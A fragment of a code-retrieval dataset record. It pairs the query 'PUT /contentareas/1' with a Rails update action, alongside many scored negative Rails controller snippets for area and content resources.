format.html { redirect_to @contentarea, notice: 'Contentarea was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contentarea.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tareas = Tarea.all\n @tareapositivas = Tarea.where(listo: true)\n @tarea = Tarea.new(tarea_params)\n\n respond_to do |format|\n if @tarea.save\n format.html { redirect_to @tarea, notice: 'Tarea was successfully created.' }\n format.json { render :show, status: :created, location: @tarea }\n else\n format.html { render :new }\n format.json { render json: @tarea.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n content_admin = ContentAdmin.new(content_admin_params)\n content_admin.save\n @content = content_admin.content\n respond_to do |format|\n format.js\n end\n end", "def create\n @city_area = current_user.cityAreas.build(city_area_params)\n\n respond_to do |format|\n if @city_area.save\n format.html { redirect_to @city_area, notice: \"City area was successfully created.\" }\n format.json { render :show, status: :created, location: @city_area }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @city_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #params[:area] == {\"parent_id\"=>\"21\",\"name\"=>\"test4\"} parent id from hidden field, name from field\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n #format.html { redirect_to(@area, :notice => 'Area was successfully created.') }\n format.html { redirect_to(locations_url, :notice => \"#{@area.to_s} was successfully created.\") }\n format.xml { render :xml => @area, :status => :created, :location => @area }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @area.errors, :status => :unprocessable_entity }\n end\n end\n end", "def add_area(area)\n @areas[area.type] = {} unless @areas[area.type]\n @areas[area.type][area.key] = area\n end", "def create\n @postulate_area_interest = PostulateAreaInterest.new(postulate_area_interest_params)\n\n respond_to do |format|\n if @postulate_area_interest.save\n format.html { redirect_to @postulate_area_interest }\n format.json { render :show, status: :created, location: @postulate_area_interest }\n else\n format.html { render :new }\n format.json { render json: @postulate_area_interest.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @area_type = AreaType.new(params[:area_type])\n\n respond_to do |format|\n if @area_type.save\n format.html { redirect_to @area_type, notice: 'Area type was successfully created.' }\n format.json { render json: @area_type, status: :created, location: @area_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @area_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @question_content_area = QuestionContentArea.find(params[:id])\n @question_content_area.destroy\n\n respond_to do |format|\n format.html { redirect_to question_content_areas_url }\n format.json { head :no_content }\n end\n end", "def create\n @area_edition = @layout.area_editions.new(area_edition_params)\n\n respond_to do |format|\n if @area_edition.save\n format.html { redirect_to main_app.url_for([:edit, @product, @theme, @personalization, @layout, @area_edition]), notice: 'Area edition was successfully created.' }\n format.json { render :show, status: :created, location: @area_edition }\n else\n format.html { render :new }\n format.json { render json: @area_edition.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @userarea = Userarea.new(userarea_params)\n\n respond_to do |format|\n if @userarea.save\n format.html { redirect_to @userarea, info: 'El área de usuario fue creada con éxito.' }\n format.json { render :show, status: :created, location: @userarea }\n else\n format.html { render :new }\n format.json { render json: @userarea.errors, status: :unprocessable_entity }\n end\n end\n end", "def json_entry_params\n params.require(:json_entry).permit(:area_id, :data, :name, :verb, :post_body)\n end", "def area_params\n params.require(:area).permit(:code, :name, :reservable, :status, :area_id, :institute_id,\n resources_attributes: [:id, :code, :name, :description, :movil, :pedagogic, :resource_id, :area_id, :_destroy])\n end", "def create\n @content = Content.new(permitted_params.content)\n\n @content.project = @project\n @content.content_type = @content_type\n\n respond_to do |format|\n if @content.save\n\n\n @content.ctbs.each do |ctb|\n if params[:link]\n ctb.link = (params[:link] == ctb.branch_id.to_s) ? true : false\n end\n\n if params[:caption]\n ctb.caption = (params[:caption][ctb.branch_id.to_s]) ? params[:caption][ctb.branch_id.to_s] : ''\n end\n\n ctb.save\n end\n\n\n if params[:content_elements][:add]\n params[:content_elements][:add].each do |content_element_type, value|\n begin\n @content.content_elements.build(:content_element_type_id => content_element_type, :language => @locale, :value => value).save\n rescue\n flash[:error] = t('fehler.ascii')\n @content.content_elements.build(:content_element_type_id => content_element_type, :language => @locale, :value => cleanup(value)).save\n end\n end\n end\n @content.proof_bracketcommands\n @content.setFileNames\n\n format.html { redirect_to edit_project_content_type_content_path(@project, @content_type, @content, :locale => @locale), notice: 'Content was successfully created.' }\n format.json { render action: 'show', status: :created, location: [@project, @content_type, @content] }\n else\n format.html { render action: 'new' }\n format.json { render json: @content.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @specialization_areas = SpecializationArea.all\n end", "def create\n @area = Area.new(params[:area])\n\n respond_to do |format|\n if @area.save\n flash[:notice] = 'Area was successfully created.'\n format.html { redirect_to(@area) }\n format.xml { render :xml => @area, :status => :created, :location => @area }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @area.errors, :status => :unprocessable_entity }\n end\n end\n end", "def show\n @question_content_area = QuestionContentArea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @question_content_area }\n end\n end", "def create\n @researcharea = Researcharea.new(params[:researcharea])\n\n respond_to do |format|\n if @researcharea.save\n format.html { redirect_to @researcharea, notice: 'Research area was successfully created.' }\n format.json { render json: @researcharea, status: :created, location: @researcharea }\n else\n format.html { render action: \"new\" }\n format.json { render json: @researcharea.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @core_area = Core::Area.new(core_area_params)\n\n respond_to do |format|\n if params[:btn_cancel].present?\n format.html { redirect_to(action: \"index\")}\n format.json { head :no_content}\n elsif @core_area.save\n format.html { redirect_to @core_area, notice: 'Area was successfully created.' }\n format.json { render action: 'show', status: :created, location: @core_area }\n else\n format.html { render action: 'new' }\n format.json { render json: @core_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @join_specific_content_to_place = JoinSpecificContentToPlace.new(join_specific_content_to_place_params)\n\n respond_to do |format|\n if @join_specific_content_to_place.save\n format.html { redirect_to @join_specific_content_to_place, notice: 'Join specific content to place was successfully created.' }\n format.json { render :show, status: :created, location: @join_specific_content_to_place }\n else\n format.html { render :new }\n format.json { render json: @join_specific_content_to_place.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @area = Area.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area }\n end\n end", "def new\n @area = Area.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area }\n end\n end", "def area_params\n params.require(:area).permit(:name)\n end", "def update\n @question_content_area = QuestionContentArea.find(params[:id])\n\n respond_to do |format|\n if @question_content_area.update_attributes(params[:question_content_area])\n format.html { redirect_to @question_content_area, notice: 'Question content area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question_content_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @sub_areas = SubArea.all\n end", "def sub_area_params\n params.require(:sub_area).permit(:name, :area_id, :sub_area_id)\n end", "def index\n @areas = Area.all\n end", "def city_area_params\n params.require(:city_area).permit(:title, :slug, :user_id)\n end", "def specialization_area_params\n params.require(:specialization_area).permit(:name, :description)\n end", "def index\n @survey_areas = SurveyArea.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @survey_areas }\n end\n end", "def index\n @group_areas = GroupArea.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @group_areas }\n end\n end", "def create\n @areas_profissional = AreasProfissional.new(areas_profissional_params)\n\n respond_to do |format|\n if @areas_profissional.save\n format.html { redirect_to @areas_profissional, notice: 'Área cadastrada com sucesso.' }\n format.json { render action: 'show', status: :created, location: @areas_profissional }\n else\n format.html { render :new }\n format.json { render json: @areas_profissional.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_areas\n if (canonical_address = address.try(:canonical_address))\n areas = canonical_address.areas\n elsif (zip = Postcode.search(postcode))\n areas = AreaZip.where(zip: zip.zip).map(&:area)\n if Settings.geography.area_lookup.use_open_north_api\n api = OpenNorthAPI.new\n area_codes = api.get_boundaries_for_lat_lng(zip.latitude, zip.longitude)\n area_codes.each do |area_type, code|\n areas << Area.find_by(area_type: area_type, code: code)\n end\n end\n if Settings.geography.area_lookup.use_canadian_province_lookup\n canadian_province_lookup = CanadianProvinceLookup.new\n if (code = canadian_province_lookup.get_province_for_postcode(zip.zip))\n areas << Area.find_by(area_type: 'canada_province', code: code)\n end\n end\n # TODO: Legacy mosaic code - delete once all orgs who use this have migrated to the newer, more flexible approach\n mosaic = Mosaic::Mosaic.find_by(postcode: postcode.upcase.delete!(' '))\n end\n\n areas = (areas ||= []).uniq\n self.areas.clear\n self.areas << (areas || [])\n\n # TODO: Legacy mosaic code - delete once all orgs who use this have migrated to the newer, more flexible approach\n if mosaic\n self.mosaic_group = mosaic.mosaic_group\n self.mosaic_code = mosaic.code\n save!\n end\n\n zip_source = zip || canonical_address\n if zip_source\n update_demographic_groups(zip_source.zip)\n end\n\n lat_lng_source = canonical_address || zip\n if lat_lng_source\n self.latitude = lat_lng_source.latitude\n self.longitude = lat_lng_source.longitude\n save!\n end\n end", "def create\n @research_area = ResearchArea.create(research_area_params)\n\n respond_to do |format|\n if @research_area.save\n format.html { redirect_to @research_area, notice: 'Research area was successfully created.' }\n format.json { render :show, status: :created, location: @research_area }\n else\n format.html { render :new }\n format.json { render json: @research_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def post_params\n params.require(:content)\n params.permit(:content) #, :type, :souce_id)\n end", "def create\n @post_geos = params[:post_geos].split(\"\\n\").map{|line| line.blank? ? nil : line.strip}.compact\n current_user.settings.post_geos = @post_geos\n\n respond_to do |format|\n format.html { redirect_to [:client,:post_geos], notice: 'Post category was successfully created.' }\n format.json { render json: @post_geo, status: :created, location: @post_geo }\n end\n end", "def areas\n aux = WorkOrderArea.by_name\n render json: serialized_work_order_areas(aux)\n end", "def index\n @areas = Area.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @areas }\n format.json {render :json => @areas}\n end\n end", "def create\n @country_area = CountryArea.new(params[:country_area])\n\n respond_to do |format|\n if @country_area.save\n format.html { redirect_to @country_area, notice: 'Country area was successfully created.' }\n format.json { render json: @country_area, status: :created, location: @country_area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @country_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def textareas; end", "def create\n\n has = params[\"area\"].to_json\n data_has = JSON.parse(has)\n @zone = Zone.new();\n @zone.nombre_zona = params[\"nombre_zona\"]\n @zone.color = params[\"color\"]\n\n respond_to do |format|\n if @zone.save\n \n data_has.each do |geo|\n @coordenada = CoordinateZone.new()\n geo.each do |data|\n @coordenada.zone_id = @zone.id\n @coordenada.latitud = data[\"lat\"].to_f\n @coordenada.longitud = data[\"lng\"].to_f \n end\n @coordenada.save\n end\n\n format.html { redirect_to @zone, notice: 'Zone was successfully created.' }\n format.js \n # format.js { render js: \"window.location.href=#{ directories_path }\" }\n format.json { render :show, status: :created, location: @zone }\n \n else\n format.html { render :new }\n format.json { render json: @zone.errors, status: :unprocessable_entity }\n end\n\n end\n end", "def area_params\n params.require(:area).permit(:name, :theme_id, :label, :position, :navigation, :footer, :comments, :ascending, :mode, :paid, :restricted, array: [:sku])\n end", "def index\n @core_areas = Core::Area.find_mine(params).paginate(page: params[:page])\n\n respond_to do |format|\n format.html {}\n format.json {}\n end\n end", "def create\n @carea = Carea.new(params[:carea])\n\n respond_to do |format|\n if @carea.save\n format.html { redirect_to(@carea, :notice => 'Carea was successfully created.') }\n format.xml { render :xml => @carea, :status => :created, :location => @carea }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @carea.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n begin\n @area = Area.new(params[:area])\n\n @area.save!\n\n flash[:notice] = t(:success_created, :id => @area.id)\n redirect_to(areas_url)\n rescue => e\n# flash[:error] = t(:error_default, :message => e.message)\n render :action => :new\n end\n end", "def create\n @map_area = MapArea.new(params[:map_area])\n @map_area.craigslist = params[:craigslist] + \".craigslist.org\"\n respond_to do |format|\n if @map_area.save\n flash[:notice] = 'MapArea was successfully created.'\n format.html { redirect_to(@map_area) }\n format.xml { render :xml => @map_area, :status => :created, :location => @map_area }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @map_area.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @proposal = Proposal.new\n @proposal.area_tags = [Area.find(params[:area_id]).area_tag.name_es] if params[:area_id]\n respond_to do |format|\n format.html\n format.floki { render :action => 'new.floki', :content_type => 'application/json', :layout => false}\n end\n end", "def set_district_area\n \n\t r = open(\"http://localhost:3001/district_areas/\" + params[:id] + \".json\").read\n\t #r = open(\"http://floating-chamber-80486.herokuapp.com/district_areas/1.json\").read\n\t hash = JSON.parse(r)\n\t upzsJSON = hash[\"upzs\"]\n\t hash.delete(\"url\")\n\t hash.delete(\"upzs\")\n\t p hash\n\t p upzsJSON\n\t @district_area = DistrictArea.new(hash)\n\t p @district_area.inspect\n\t \n\t upzsJSON.each do |currentUPZ|\n\t\t@district_area.upzs << Upz.new(currentUPZ)\n\t\tend\n\trescue \n\t\t p \"EL RECURSOO NO EXISTEEEEEE\"\n\t\trender json: {}, status: :ok\n\tend", "def create\n @map_area = MapArea.new(params[:map_area])\n @map_area.craigslist = params[:map_area][:craigslist] + \".craigslist.org\"\n respond_to do |format|\n if @map_area.save\n flash[:notice] = 'MapArea was successfully created.'\n format.html { redirect_to(@map_area) }\n format.xml { render :xml => @map_area, :status => :created, :location => @map_area }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @map_area.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @interest_area = InterestArea.new(params[:interest_area])\n\n respond_to do |format|\n if @interest_area.save\n format.html { redirect_to @interest_area, notice: 'Interest area was successfully created.' }\n format.json { render json: @interest_area, status: :created, location: @interest_area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @interest_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def areas_json\n @json = {}\n @json[:id] = self.id\n @json[:country] = self.name\n @json[:country_lat] = self.lat\n @json[:country_lon] = self.lon\n\n @json[:iccas] = []\n self.sites.each do |site|\n site_details = {}\n site_details[:name] = site.name\n site_details[:url] = \"/sites/\" + site.id.to_s\n site_details[:lat] = site.lat\n site_details[:lng] = site.lon\n @json[:iccas] << site_details\n end\n return @json\n end", "def area_params\n params.require(:area).permit(:name, :city_id)\n end", "def create\n @area = Area.new(params[:area])\n @area.parent_id = params[:parent_id]\n respond_to do |format|\n if @area.save\n flash[:notice] = 'Area was successfully created.'\n format.html { redirect_to(@area) }\n format.xml { render :xml => @area, :status => :created, :location => @area }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @area.errors, :status => :unprocessable_entity }\n end\n end\n end", "def content_params\n params.require(:content).permit(:title, :body, :image_url, :place)\n end", "def create\n @areas_skill = AreasSkill.new(areas_skill_params)\n\n respond_to do |format|\n if @areas_skill.save\n format.html { redirect_to @areas_skill, notice: 'Areas skill was successfully created.' }\n format.json { render :show, status: :created, location: @areas_skill }\n else\n format.html { render :new }\n format.json { render json: @areas_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def create(content)\n post(content)\n end", "def create\n @district_area = DistrictArea.new(district_area_params)\n\n respond_to do |format|\n if @district_area.save\n format.html { redirect_to @district_area, notice: 'District area was successfully created.' }\n format.json { render :show, status: :created, location: @district_area }\n else\n format.html { render :new }\n format.json { render json: @district_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @district_area = DistrictArea.new(district_area_params)\n\n respond_to do |format|\n if @district_area.save\n format.html { redirect_to @district_area, notice: 'District area was successfully created.' }\n format.json { render :show, status: :created, location: @district_area }\n else\n format.html { render :new }\n format.json { render json: @district_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @project_areas = ProjectArea.all\n end", "def create\n @area_code = AreaCode.new(area_code_params)\n\n respond_to do |format|\n if @area_code.save\n format.html { redirect_to @area_code, notice: 'Area code was successfully created.' }\n format.json { render :show, status: :created, location: @area_code }\n else\n format.html { render :new }\n format.json { render json: @area_code.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n require_user()\n @area_of_expertise = AreaOfExpertise.new(area_of_expertise_params)\n\n respond_to do |format|\n if @area_of_expertise.save\n format.html { redirect_to @area_of_expertise, notice: 'Area of expertise was successfully created.' }\n format.json { render :show, status: :created, location: @area_of_expertise }\n else\n format.html { render :new }\n format.json { render json: @area_of_expertise.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_area\n @area = Area.find_by_id(params[:id])\n if @area.blank?\n json_response(nil, :unprocessable_entity, :invalid_id)\n end\n end", "def create\n @subject_area = SubjectArea.new(params[:subject_area])\n\n respond_to do |format|\n if @subject_area.save\n format.html { redirect_to(@subject_area, :notice => 'Subject area was successfully created.') }\n format.xml { render :xml => @subject_area, :status => :created, :location => @subject_area }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @subject_area.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n if params[:area_id]\n @parent_area = Area.find(params[:area_id]) \n @area = @parent_area.children.build \n else\n @area = Area.new \n end\n @area.project_leaders = []\n respond_with(@area)\n \n end", "def new\n @area_type = AreaType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @area_type }\n end\n end", "def create\n @idea = current_member.ideas.new(idea_params) \n respond_to do |format|\n sectors_params.delete(\"\")\n if @idea.save\n sectors_params.each do |k|\n @idea.sectors << Sector.find_by(id:k)\n end\n format.json { head :no_content }\n format.js\n else\n\n format.json { render :json => { :error => @idea.errors.full_messages }, :status => 422 }\n end\n \n end\n end", "def create\n param = area_params\n user_balancer = current_user.balancer_id\n param[:balancer_ids] << user_balancer unless param[:balancer_ids].include?(user_balancer.to_s)\n\n @cabinet_production_area = current_user.production_areas.new(param)\n respond_to do |format|\n if status_valid?(area_params[:status]) && @cabinet_production_area.save\n QuestionnaireImages.build(params, @cabinet_production_area)\n public_send(params[:production_area][:status])\n format.html { redirect_to cabinet_production_areas_path, notice: 'Запис успішно створено.' }\n format.json { render :show, status: :created, location: @cabinet_production_area }\n else\n format.html { render :new }\n format.json { render json: @cabinet_production_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @lab_area = LabArea.new(lab_area_params)\n\n respond_to do |format|\n if @lab_area.save\n format.html { redirect_to @lab_area, notice: 'Lab area was successfully created.' }\n format.json { render :show, status: :created, location: @lab_area }\n else\n format.html { render :new }\n format.json { render json: @lab_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @tarea = Tarea.new(tarea_params)\n\n respond_to do |format|\n if @tarea.save\n format.html { redirect_to @tarea, notice: 'La Tarea ha sido eliminada correctamente.' }\n format.json { render :show, status: :created, location: @tarea }\n else\n format.html { render :new }\n format.json { render json: @tarea.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @researcharea = Researcharea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @researcharea }\n end\n end", "def create\n \n if params[:parent_id]\n @parent_area = Area.find(params[:parent_id]) \n @area = @parent_area.children.build(params[:area]) \n else\n @area = Area.new(params[:area]) \n end\n \n @errors = []\n \n #Me fijo que haya seleccionado al menos un coordinador válido para el área.\n @project_leaders = @area.project_leaders.split(%r{,\\s*})\n if !project_leaders_valid?(@project_leaders) \n @errors = @errors.concat([\"Debe seleccionar un coordinador válido para el área \" + @area.name])\n end\n \n if @errors.empty? && @area.valid?\n @area.save\n set_project_leaders(@project_leaders, @area)\n end\n respond_with(@area)\n end", "def new\n @group_area = GroupArea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group_area }\n end\n end", "def content_params\n\t params.require(:content).permit(:value_of_content, :address, :comments)\n\tend", "def create\n @homepage_section_content = HomepageSectionContent.new(homepage_section_content_params)\n\n respond_to do |format|\n if @homepage_section_content.save\n format.html { redirect_to homepage_index_path, notice: 'Homepage section content was successfully created.' }\n format.json { render :show, status: :created, location: @homepage_section_content }\n else\n format.html { render :new }\n format.json { render json: homepage_section_contents_url.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.676901", "0.6386255", "0.62644666", "0.59451544", "0.58977705", "0.5799224", "0.5799224", "0.5781559", "0.5684307", "0.56748056", "0.5647956", "0.5618514", "0.56175065", "0.5572897", "0.5566222", "0.5551608", "0.5539072", "0.5535006", "0.552705", "0.55235976", "0.5517436", "0.5506422", "0.54931825", "0.54545134", "0.54492277", "0.5440359", "0.5425626", "0.53878826", "0.5376465", "0.5332692", "0.53155935", "0.53128093", "0.5304411", "0.5297268", "0.5267564", "0.5264765", "0.52484137", "0.52411324", "0.52353317", "0.52259284", "0.5224429", "0.5223012", "0.5221203", "0.5218053", "0.52169025", "0.52118456", "0.5202941", "0.5202941", "0.51992005", "0.5198396", "0.51979464", "0.5178601", "0.5155765", "0.5147549", "0.5147037", "0.5140234", "0.51396877", "0.5138884", "0.5134986", "0.5133059", "0.51256883", "0.5125211", "0.51240784", "0.51234263", "0.51126206", "0.51118076", "0.51083606", "0.51069856", "0.5098058", "0.5073659", "0.50730884", "0.5071502", "0.50701344", "0.506011", "0.5056124", "0.5055841", "0.50539356", "0.5053032", "0.505064", "0.5050527", "0.5041595", "0.50393987", "0.5032967", "0.5032967", "0.502924", "0.5020292", "0.5016567", "0.5012827", "0.50113535", "0.50075555", "0.5002173", "0.4998309", "0.4992494", "0.4978054", "0.4970336", "0.49646732", "0.49605346", "0.49523807", "0.4949221", "0.4935867" ]
0.6968393
0
PUT /contentareas/1 PUT /contentareas/1.json
def update @contentarea = Contentarea.find(params[:id]) respond_to do |format| if @contentarea.update_attributes(params[:contentarea]) format.html { redirect_to @contentarea, notice: 'Contentarea was successfully updated.' } format.json { head :no_content } else format.html { render action: "edit" } format.json { render json: @contentarea.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @question_content_area = QuestionContentArea.find(params[:id])\n\n respond_to do |format|\n if @question_content_area.update_attributes(params[:question_content_area])\n format.html { redirect_to @question_content_area, notice: 'Question content area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @question_content_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @area = Area.find(params[:id])\n\n respond_to do |format|\n if @area.update_attributes(params[:area])\n format.html { redirect_to @area, notice: 'Area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @area = Area.find(params[:id])\n\n respond_to do |format|\n if @area.update_attributes(params[:area])\n format.html { redirect_to @area, notice: 'Area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @area = Area.find(params[:id])\n\n respond_to do |format|\n if @area.update_attributes(params[:area])\n format.html { redirect_to @area, notice: 'Area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @contentarea = Contentarea.new(params[:contentarea])\n\n respond_to do |format|\n if @contentarea.save\n format.html { redirect_to @contentarea, notice: 'Contentarea was successfully created.' }\n format.json { render json: @contentarea, status: :created, location: @contentarea }\n else\n format.html { render action: \"new\" }\n format.json { render json: @contentarea.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n @area = Area.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @area.update_attributes(params[:area])\r\n format.html { redirect_to areas_url(domain_id: @area.domain_id), notice: 'Area was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @area.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n respond_to do |format|\n if @sub_area.update(sub_area_params)\n format.html { redirect_to @sub_area, notice: 'Sub area was successfully updated.' }\n format.json { render :show, status: :ok, location: @sub_area }\n else\n format.html { render :edit }\n format.json { render json: @sub_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @contentarea = Contentarea.find(params[:id])\n @contentarea.destroy\n\n respond_to do |format|\n format.html { redirect_to contentareas_url }\n format.json { head :no_content }\n end\n end", "def create\n @question_content_area = QuestionContentArea.new(params[:question_content_area])\n\n respond_to do |format|\n if @question_content_area.save\n format.html { redirect_to @question_content_area, notice: 'Question content area was successfully created.' }\n format.json { render json: @question_content_area, status: :created, location: @question_content_area }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question_content_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @contentarea = Contentarea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contentarea }\n end\n end", "def update\n if params[:recursos][:status] == '1'\n @count = count_of_resource\n save_multiples_recursos\n end\n respond_to do |format|\n if @area.update(area_params)\n format.html { redirect_to @area, notice: 'El Área fue modificada éxitosamente.' }\n format.json { render :show, status: :ok, location: @area }\n else\n format.html { render :edit }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n @area.skus = params[:area][:skus]\n if @area.update area_params\n format.html { redirect_to admin_areas_path, notice: 'Area was successfully updated.' }\n format.json { render :show, status: :ok, location: @area }\n else\n format.html { render :edit }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_area\n @area = Area.find_by_id(params[:id])\n if @area.blank?\n json_response(nil, :unprocessable_entity, :invalid_id)\n end\n end", "def update\n respond_to do |format|\n if @issue_area.update(issue_area_params)\n format.html { redirect_to @issue_area, notice: 'Issue area was successfully updated.' }\n format.json { render :show, status: :ok, location: @issue_area }\n else\n format.html { render :edit }\n format.json { render json: @issue_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @region.update(region_params)\n format.html { redirect_to regions_path, notice: 'Region was successfully updated.' }\n format.json { render :show, status: :ok, location: @region }\n else\n @region_areas = region_areas(@region, false)\n format.html { render :edit }\n format.json { render json: @region.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @area = Area.find(params[:id])\n\n respond_to do |format|\n if @area.update_attributes(params[:area])\n flash[:notice] = 'Area was successfully updated.'\n format.html { redirect_to(@area) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @area.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @area = Area.find(params[:id])\n\n respond_to do |format|\n if @area.update_attributes(params[:area])\n flash[:notice] = 'Area was successfully updated.'\n format.html { redirect_to(@area) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @area.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @area = Area.find(params[:id])\n \n respond_to do |format|\n if @area.update_attributes(params[:area])\n flash[:notice] = 'Area actualizado correctamente.'\n format.html { redirect_to(@area) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @area.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @area_type = AreaType.find(params[:id])\n\n respond_to do |format|\n if @area_type.update_attributes(params[:area_type])\n format.html { redirect_to @area_type, notice: 'Area type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @area_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @specialization_area.update(specialization_area_params)\n format.html { redirect_to admin_specialization_area_path(@specialization_area), notice: 'Specialization area was successfully updated.' }\n format.json { render :show, status: :ok, location: @specialization_area }\n else\n format.html { render :edit }\n format.json { render json: @specialization_area.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_area\n @area = Area.find(params[:area_id])\n end", "def update\n respond_to do |format|\n if @tarea.update(tarea_params)\n format.html { redirect_to @tarea, notice: 'Tarea was successfully updated.' }\n format.json { render :show, status: :ok, location: @tarea }\n else\n format.html { render :edit }\n format.json { render json: @tarea.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @contentarea = Contentarea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @contentarea }\n end\n end", "def update\n respond_to do |format|\n if @area_attribute.update(area_attribute_params)\n format.html { redirect_to @area_attribute, notice: 'Area attribute was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @area_attribute.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_area\n @area = Area.find(params[:id])\n end", "def update_option_content\n option_params = params.require(:option).permit(:id, :content)\n\n render json: Option.update_option_content(option_params)\n end", "def update\n begin\n @area = Area.find(params[:id])\n @area.update_attributes(params[:area])\n\n flash[:notice] = t(:success_updated, :id => @area.id)\n redirect_to(areas_url)\n rescue => e\n# flash[:error] = t(:error_default, :message => e.message)\n render :action => :edit\n end\n end", "def areas\n @area = Area.new(geo_json: params.to_json)\n if @area.save\n json_response([id: @area.id], :created, :geo_json_recieved)\n else\n json_response(nil, :error, :db_error)\n end\n end", "def update\n @breadcrumb = 'update'\n @area = Area.find(params[:id])\n @area.updated_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @area.update_attributes(params[:area])\n format.html { redirect_to @area,\n notice: (crud_notice('updated', @area) + \"#{undo_link(@area)}\").html_safe }\n format.json { head :no_content }\n else\n @departments = departments_dropdown\n @workers = @area.department.blank? ? workers_dropdown : workers_by_department(@area.department)\n format.html { render action: \"edit\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_question_content\n question_params = params.require(:question).permit(:id, :content)\n\n render json: Question.update_question_content(question_params)\n end", "def update\n @map_area = MapArea.find(params[:id])\n respond_to do |format|\n if @map_area.update_attributes(params[:map_area])\n flash[:notice] = 